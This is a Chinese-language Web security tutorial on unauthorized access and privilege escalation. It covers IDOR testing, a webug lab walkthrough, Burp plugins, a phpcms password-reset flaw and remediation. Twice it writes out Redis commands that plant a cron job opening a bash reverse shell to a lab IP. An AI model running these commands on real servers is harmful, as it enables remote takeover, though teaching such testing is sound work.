本文由紅日安全成員： misakikata 編寫，如有不當，還望斧正。
大家好，我們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享，還包含一個HTB靶場供大家練習，我們給這個項目起了一個名字叫 Web安全實戰 ，希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法（手工測試，工具測試）-靶場測試（分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋）-實戰演練（主要選擇相應CMS或者是Vulnhub進行實戰演練)，如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們，一起完善這個項目，歡迎通過郵件形式（sec-redclub@qq.com）聯系我們。
1.越權
1.1 漏洞簡介
未授權訪問，顧名思義不進行請求授權的情況下對需要權限的功能進行訪問執行。通常是由於認證頁面存在缺陷，無認證，安全配置不當導致。常見於服務端口，接口無限制開放，網頁功能通過鏈接無限制用戶訪問，低權限用戶越權訪問高權限功能。
何為越權漏洞，通俗的理解為用戶可以操作超出自己管理權限范圍的功能，從而進行非一般用戶可以操作的行為。越權一般可以分為：垂直越權，水平越權。而在非用戶登陸模式下，任意用戶訪問特定地址或鏈接均可以訪問到需要用戶身份后才可以訪問到的功能。越權也可以看為安全配置不當導致的未授權訪問。
1.2 漏洞原理
未授權訪問是系統對用戶限制不全，或者無限制，可以讓任意用戶或者限制訪問用戶，可以訪問到內部敏感信息，導致的信息泄露，以及系統功能的執行。越權漏洞的產生原因是未對訪問功能做權限的效對，或者限制不全，導致對用戶的限制只局限於某一個功能和操作上。
1.3 漏洞危害
未授權訪問通常是會泄露用戶信息，系統信息。某些服務和系統中，未授權訪問還可以執行系統命令，操作系統文件，導致系統的整體安全遭到破壞。而越權可以分為水平越權和垂直越權。垂直越權漏洞會導致低權限用戶用來執行高權限用戶的功能，獲取高權限用戶的賬號信息，執行高權限用戶的操作功能。水平越權會導致同一層級間的用戶可以互相訪問到對方的敏感信息，如保存的地址、手機號、訂單記錄。同時還可能會以其他平級權限用戶的身份來執行某行功能，如購買，刪除，添加，修改等。
2. 漏洞測試方法
2.1 常見的未授權服務
2.1.1 redis未授權訪問
此問題在互聯網上曾經多數存在，redis默認開放6379端口，且對外開放。可以通過此端口來執行命令寫入文件來反彈shell。
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK2.1.2 Jenkins未授權訪問
默認情況下Jenkins面板中用戶可以選擇執行腳本界面來操作一些系統層命令，攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script選擇腳本命令行可以執行一些系統命令。
2.1.3 MongoDB未授權訪問
開啟MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,而且可以遠程訪問數據庫，登錄的用戶可以通過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操作。
默認開啟在27017端口，新版早就默認綁定在本地，之前的老版本仍有一些在互聯網上開放在跑的端口。
2.1.4 Memcache未授權訪問
Memcached是一套常用的key-value緩存系統，由於它本身沒有權限控制模塊，所以對公網開放的Memcache服務很容易被攻擊者掃描發現，攻擊者通過命令交互可直接讀取Memcached中的敏感信息。
默認開啟在11211端口，可以使用端口連接工具或者命令，nc等，連接成功則存在。
關於未授權訪問的可以查看：https://www.secpulse.com/archives/61101.html
2.2 基於用戶ID的越權
舉個例子：
https://www.xxx.com/user1/userinfo.php?user_id=user1
https://www.xxx.com/user1/userinfo.php?user_id=10001我們登陸某個系統后，看到某些功能上獲取信息的方式類似於上鏈接時，可以初步判斷獲取信息的方式為根據user_id來獲對應的用戶信息，如果參數為用戶名，我們可以手機用戶名字典來枚舉信息，根據返回值判斷是否存在問題。當然如果枚舉較大，系統用戶數量又不是很多的情況下，可以嘗試注冊新用戶，利用新用戶的用戶名來測試是否可以獲取到用戶信息。
如果參數為一個固定的數字串時，遍歷數字串即可，這種情況下是系統對每個注冊用戶進行了一個用戶id的排序，在眾多的開源CMS上都有使用，當然這個字符串也有可能是隨機，如果是隨機的，量不大的情況下可以采用遍歷的形式獲取，量較大可以利用burp的隨機數爆破，或者同樣自己注冊賬戶來測試。
2.3 基於功能對象ID的越權
舉個例子：
https://www.xxx.com/user1/userticket.php?user_order=100001
https://www.xxx.com/user1/userticket.php?user_order=49ba59ab此問題大量存在於用戶訂單、購買、查詢等功能的商家CMS上，例如以上地址，如果user_order是訂單編號，那么我們可以嘗試遍歷訂單地址來查詢是否存在越權。如果編號並不是單純的訂單數字串，而是類似如上的編碼字符串，相信自己的運氣的話可以嘗試某些編碼的情況，例如BASE64、MD5。猜測不到，或者不能明顯的看出來是如果做的處理，注冊新賬號重新下單，會是簡單方便的選擇。
2.4 基於上傳文件對象ID的越權
舉個例子：
https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg這種上傳文件后，可以越權查看其他用戶的上傳文件也是經常發現類似的問題。假設，系統要求我們上傳個人的身份證，實名認證信息、購買的發票訂單等。如果上傳后看到類似如上地址，可以猜測此上傳文件可以遍歷獲取，同過查詢fileid來查看其他用戶的上傳信息。如果上傳后文件名如第二種，可能此文件是系統經過重命名的，重命名的方式一般采用當前上傳的時間戳或者當前上傳的日期加隨機字段，這種情況下枚舉較為困難，但仍然可以采用注冊新用戶的方式來查看是否存在越權。順便一問，如果是www.ccc.com獲取信息的方式，還可能會有什么問題呢？
2.5 基於未授權訪問的越權
舉個例子：
https://www.xxx.com/user1/user.php?user=user1@user.com在一些系統上登陸用戶后，可以看到類似如上的地址鏈接，可能你會覺得這個跟問題1類似，但是也有可能多一張問題情況，在非登陸的情況下仍然可以訪問到詳細信息。如果可以，則證明后端對身份的效驗只是基於參數user，並沒有效驗用戶的session是否已登陸。此問題曾發現於一個系統后端支付訂單復核的功能中，問題可想而知。
2.6 基於功能地址的越權
舉個例子：
https://www.xxx.com/user/getuserinfo.php如上地址，正常情況下，只訪問此后台地址時，一般會跳轉到登陸地址，或者登陸后用來查看某個具體的功能，獲取數據的情況根據訪問的鏈接地址來，理論上此功能並不存在越權可能，因為沒有我們可以修改的參數。但是對權限及功能的限制可能只局限於用戶菜單的限制，根據常用鏈接，可以猜測是否存在以下地址：
/getuserorder.php
/adduser.php
/deluser.php
/getalluser.php
/todetailpage.php
/ordercreate.php
......因為在絕大部分系統中，開發為了方便區別功能和頁面，通常會利用對應的英文來命名文件，但這些文件並不是任意用戶都可以訪問到的，所以可以猜測訪問地址是否英文的拼接來猜測路徑。對於此問題的快捷測試是獲取一個高權限賬號，當然對於未授權測試來說，很難實現。
2.7 基於接口身份的越權
舉個例子：
https://www.xxx.com/user/userinfo.php
post: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'}例如如上接口，修改用戶信息，當我們點擊某個系統的修改自身資料時，會發送一個類似的json數據包，其中userid對應我們自己的用戶id，修改后，可以修改對應id的用戶資料。修改方式類似問題1。區別在於一個頁面可見，一個頁面不直觀可見，一個查詢，一個修改。需要配合其他越權查詢漏洞，或者賬號來識別是否修改成功。
3. 漏洞靶場測試
漏洞環境：phpstudy，webug4.0
靶場介紹：國產靶場，漏洞齊全，演示也相當完善。其中還分為初，中，高。雖然高好像沒東西，但仍然是一個不錯的靶場環境。
漏洞演示：演示為靶場的22號漏洞，越權修改密碼
靶場安裝：https://github.com/wangai3176/webug4.0，本來也給了一個vm的安裝環境，但是那個百度雲打不開了。就直接用文件自己安裝，也沒找到安裝教程，就摸索着如下安裝了。
把sql目錄中的文件安裝到數據庫，新建三個按照文件名的數據庫，導入數據文件，修改data目錄下的dbconfig和dbconn文件，修改為自己的數據庫賬號密碼和數據庫名。修改完成后建議把網站目錄修改為webug的目錄下。直接訪問本地地址即可。
另外需要修改/control/auth_cross/cross_auth_passwd.php文件下的一段代碼，不然跳轉到錯誤路徑：
header("Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={$id}")
修改為：
header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")點擊第一個越權修改密碼后進入如下頁面：
此處我打開了數據庫來對應查看修改密碼的情況，打開webug數據庫下的user_test表，可以看到其中有兩個用戶如下：
此處利用aaaaa用戶修改admin用戶密碼，利用aaaaa賬戶登陸后，看到如下界面
此處，我們可以先正常走一遍邏輯來查看其中的數據包情況，把aaaaa的密碼修改為aaaaa，彈窗OK。然后查看抓取到的數據包。
其中有舊密碼和新密碼兩個參數，理論上如果效驗了舊密碼和賬號的一致性，就算鏈接中的id可以修改越權也無法修改密碼，會提示舊密碼不正確，但此處並沒有效驗舊密碼和賬號的一致性，導致修改鏈接中的2為1，post參數不變，或者任意舊密碼值，便可以修改admin的密碼。
查看數據庫修改是否成功：
此處的問題存在兩點，一是修改的用戶身份由鏈接中的ID來決定，二是沒有對舊密碼和賬戶進行身份驗證。
4. 工具測試
對於越權類的安全問題，並沒有自動化測試工具來發現和識別，至少現在沒有發現哪里有完善的越權檢測工具和掃描器。
此處介紹一款burp的越權插件，輔助檢測越權漏洞，但是只能檢測基於功能的越權，並不能自動的檢測需要修改參數來判斷越權形式的漏洞。
在burp的Extender選項中選擇BApp Store選項卡，找到Authz插件，點擊install。安裝完成后選項卡中會出現一個Authz的新選項卡，界面如下：
此處需要兩個用戶身份，假設為A用戶和B用戶，登陸A用戶的賬號，獲取Cookie到new header中，使用B賬號抓包獲取信息。到proxy中選擇需要測試的功能地址，右鍵到Send requests to Authz。
獲取夠需要測試的功能后，到Authz界面點擊run即可運行，此處沒有設置cookie，那么將按照未授權訪問來測試。
其中，會在請求中替換我們輸入的cookie值，如圖顯示，源請求的字節長度，請求的字節長度，源請求的響應碼，請求的響應碼，通過對響應的差別來查看是否存在越權漏洞。
能達到此檢測目的的還有一款插件AuthMatrix，也同樣可以檢測越權，功能強勁，使用較Authz復雜，對於高要求，多用戶，需要對請求中的token等進行選擇替換的，可以使用此插件。
介紹地址：https://github.com/portswigger/auth-matrix
5. CMS演示
5.1 前台任意修改其他用戶信息
漏洞環境：phpstudy，phpcms9.5.9
漏洞介紹：phpcms設計缺陷導致前台用戶可以任意修改其他用戶密碼
漏洞下載：http://download.phpcms.cn/v9/9.5/phpcms_v9.5.9_UTF8.zip
解壓安裝到phpstudy，訪問后需要安裝，按照安裝要求，填入賬號密碼。等待安裝完成，將自動跳轉到后台管理頁面。登陸后台需要先添加郵箱認證，如下添加的騰訊郵箱。具體騰訊授權碼獲取方式可以查看：https://service.mail.qq.com/cgi-bin/help?subtype=1&id=28&no=1001256
在用戶模塊中添加如下信息，新增兩個測試用戶，類似如下，需要其中一個可以接收郵件。
在站點首頁點擊登陸處，如果跳轉到404安裝頁面，可能是你沒有刪除install安裝目錄，刪除訪問index.php即可。選擇忘記密碼->用戶名找回密碼
點擊獲取郵箱效驗碼
返回上一步輸入想修改的用戶，如下test2
輸入之前的郵箱驗證碼提交
點擊后顯示密碼修改成功為以下：
嘗試使用新密碼登陸成功：
漏洞修復：此問題出現原因在於驗證碼沒有跟賬號做綁定，驗證時只做了驗證碼是否有效的判斷。對於此類問題，頻繁出現在手機號驗證碼，郵箱驗證碼處，在最后執行修改時需要一同驗證，驗證碼和手機或者郵箱的對應關系。
5.2 redis未授權訪問
漏洞環境：Ubuntu，reids 3.2.0
漏洞介紹：Redis因配置不當可以未授權訪問。攻擊者無需認證訪問到內部數據，可導致敏感信息泄露，也可以寫入文件來反彈shell
安裝如下：
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make修改配置文件
vi redis.conf
bind 127.0.0.1 加上#
protected-mode yes 改為no在配置文件目錄下啟動
./src/redis-server redis.conf啟動后顯示如下：
通過reids命令可以查看基本信息
嘗試反彈shell到指定地址
set x "\n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save或者采用gopher協議，直接利用curl一條命令執行
6. 漏洞修復
1、驗證需要從前端獲取的參數，比如用戶ID和角色權限名，對於需要根據前台請求來返回數據的參數進行權限效驗。
2、對於固定返回信息可以使用特定鏈接地址返回，同時采用不可預測地址，如：getuserinfo_snhx.php
3、對於需要修改、新增等功能進行判斷，根據當前seesion判斷用戶，參數中只傳輸修改的用戶信息。
4、區分用戶和管理員時，不采用某些相同的參數來區別。如dede區分管理和用戶都是采用ID值，容易產生問題。
5、對於查詢類越權需要對每一次請求的參數做當前用戶身份效驗，避免水平越權。